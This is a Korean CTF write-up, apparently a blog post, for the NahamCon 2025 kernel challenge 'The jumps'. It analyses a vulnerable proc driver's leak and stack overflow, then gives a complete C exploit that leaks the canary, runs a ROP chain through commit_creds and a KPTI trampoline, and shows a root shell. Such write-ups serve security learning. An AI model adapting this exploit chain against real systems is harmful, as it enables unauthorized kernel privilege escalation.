Kernel Exploit/Exercise

kernel exploit / NahamCon 2025 CTF - The jumps

wyv3rn 2025. 5. 30. 22:03
728x90
반응형

1. intro

얼마전 열렸던 nahamcon에서 kernel exploit 문제가 나왔다.

그냥 쫄아서 던졌는데, 아무래도 열받아서 커널 익스 공부를 통채로 다시 해버림.

 

2. code 및 분석

2.1.  code

2.1.1. proc_read

ssize_t proc_read(file *file,char *buf,size_t count,loff_t *ppos)

{
  long lVar1;
  int iVar2;
  long in_GS_OFFSET;
  char tmp [32];
  
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  if (0x400 < count) {
    printk(&DAT_00100315);
  }
  __memcpy(proc_data,tmp,count);
  iVar2 = _copy_to_user(buf,proc_data,count);
  if (iVar2 == 0) {
    iVar2 = (int)count;
  }
  if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
    return (long)iVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

값을 user에게 전달한다.

tmp size가 32이나, 0x400 이하로는 모두 복사해주기 때문에 이를 이용해 leak이 가능하다.

 

2.1.2. proc_write

/* WARNING: Unknown calling convention */

ssize_t proc_write(file *file,char *buf,size_t count,loff_t *ppos)

{
  long lVar1;
  int iVar2;
  long in_GS_OFFSET;
  char tmp [32];
  
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  tmp[0] = '\0';
	...
  tmp[0x1f] = '\0';
  if (count < 0x400) {
    iVar2 = _copy_from_user(proc_data,buf,count - 1);
    if (iVar2 == 0) {
      __memcpy(tmp,proc_data,count);
      proc_data[count] = '\0';
    }
    else {
      count = 0xfffffffffffffff2;
    }
  }
  else {
    printk(&DAT_00100398,count,0x400);
    count = 0xffffffffffffffea;
  }
  if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
    return count;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

tmp를 초기화하고, 마찬가지로 값이 0x400보다 작으면 커널 영역에 값을 쓴다.

즉 overflow가 가능하다.

단, __stack_chk_fail, 즉 canary가 존재한다.

 

2.2. 분석

위 코드 영역과 더불어 init 파일은 아래와 같다.

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t 9p -o trans=virtio,version=9p2000.L,nosuid hostshare /home/ctf
#for f in $(ls *.ko); do
#    insmod $f
#done
sysctl -w kernel.perf_event_paranoid=1

cat <<EOF

Boot took $(cut -d' ' -f1 /proc/uptime) seconds


Welcome to the lost and found store! Please look around to see if you can find the key to the flag.


EOF
mkdir /home/user
adduser user -D
chmod 600 /flag
chown 0.0 /flag
insmod thejumps.ko
#su user
su root
#exec su -l ctf

원활한 분석을 위해 마지막 su user를 su root으로 수정하였다.

 

run.sh는 아래와 같다.

#!/bin/bash


read -p "Enter the link to your exploit binary: " link

wget $link -O exploit
chmod 777 ./exploit
sleep 1

cp ./exploit ./fs/exploit
pushd fs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz
popd



qemu-system-x86_64 \
    -snapshot \
    -kernel /home/ctf/bzImage \
    -smp cores=1,threads=1 \
    -initrd /home/ctf/initramfs.cpio.gz \
     -append "console=ttyS0 debug earlyprintk=serial oops=panic nokaslr smap smep selinux=0 tsc=unstable net.ifname
s=0 panic=1000 cgroup_disable=memory" \
    -net nic -net user,hostfwd=tcp::${SSH_PORT}-:22 \
    -nographic \
    -m 128M \
    -monitor none,server,nowait,nodelay,reconnect=-1 \
    -cpu kvm64,+smap,+smep \
     2>&1

cpu로 kvm64를 쓰고, nopti 언급이 없기에 적용되어있다.

더불어 smap, smep 또한 적용되어있다.

따라서 아래의 방법을 사용할 수 있다.

2023.09.10 - [Kernel Exploit/Theory] - Kernel - KPTI 우회

 

Kernel - KPTI 우회

서론 KPTI는 유저 영역에서의 보호기법에는 없는 보호기법이다. 요약하자면, 커널 - 유저공간 간의 전환 시 최소한의 커널 주소만 포함하는 것이다. 이에 커널에서 유저공간으로 넘어갈때는 상관

wyv3rn.tistory.com

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

kernel bof

3.2. 공격 준비

위에 모든 것을 다 설명해버렸다.

나머지는 gadget들만 적절히 구하면 된다.

 

4. exploit

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int kbuf_size = 32;
int global_fd;

void open_dev()
{
        global_fd = open("/proc/shellcode_device", O_RDWR);
        if (global_fd < 0)
        {
                puts("[!] Failed to open device");
                exit(-1);
        }
        else
        {
                puts("[*] Opened device");
        }
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(void)
{
        __asm__ __volatile__(
                        "mov %cs, user_cs;"
                        "mov %ss, user_ss;"
                        "mov %rsp, user_sp;"
                        "pushf;"
                        "pop user_rflags;"
                        );
        puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n)
{
        for (unsigned i = 0; i < n; ++i)
        {
                printf("%u: %lx\n", i, leak[i]);
        }
}

unsigned long leak;

void leak_addr(void)
{
        unsigned long arry[kbuf_size/8];
        memset(arry,0,sizeof(arry));
        read(global_fd, arry, sizeof(arry));
        leak = arry[3];
        printf("[*] Leak: %lx\n", leak);
}

void get_shell(void)
{
        puts("[*] Returned to userland");
        if (getuid() == 0)
        {
                printf("[*] UID: %d, got root!\n", getuid());
                char *argv[] = { "/bin/sh", NULL };
                char *envp[] = { NULL };
                execve("/bin/sh", argv, envp);
        }
        else
        {
                printf("[!] UID: %d, didn't get root\n", getuid());
                exit(-1);
        }
}

unsigned long user_rip = (unsigned long)get_shell;


unsigned long swapgs = 0xffffffff81c00eaa; //popf
unsigned long iretq = 0xffffffff81023cc2;
unsigned long rdiret = 0xffffffff81001518;
unsigned long rcxret = 0xffffffff81065913;
unsigned long rdiraxret = 0xffffffff8101c07b;
unsigned long prepare_kernel_cred = 0xffffffff810881d0;
unsigned long commit_cred = 0xffffffff81087e90;
unsigned long tramp = 0xffffffff81c00a45;

void exploit()
{
        unsigned long payload[kbuf_size/8+20];
        int offset = 4;
        payload[offset++] = leak;
        payload[offset++] = 0;
        payload[offset++] = rdiret;
        payload[offset++] = 0;
        payload[offset++] = prepare_kernel_cred;
        payload[offset++] = rcxret;
        payload[offset++] = 0;
        payload[offset++] = rdiraxret;
        payload[offset++] = commit_cred;
        payload[offset++] = tramp;
        payload[offset++] = 0;
        payload[offset++] = 0;
        payload[offset++] = (unsigned long)get_shell;
        payload[offset++] = user_cs;
        payload[offset++] = user_rflags;
        payload[offset++] = user_sp;
        payload[offset++] = user_ss;

        write(global_fd, payload, sizeof(payload));

        puts("[!] Error while exploit");
}

int main(void)
{
        save_state();
        open_dev();
        leak_addr();
        exploit();

        puts("[!] Error after exploit");

        return 0;
}
/ $ id
uid=1001(user) gid=1001 groups=1001
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ ./payload
[*] Saved state
[   15.028631] Proc device opened
[*] Opened device
[*] Leak: c915d6126b9e1200
[*] Returned to userland
[*] UID: 0, got root!
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0
/ # cat flag
flag{test1337}

이렇게 쉽게 풀 수 있는걸... 대회때는 쫄아서... 괜히 던졌다.

728x90
반응형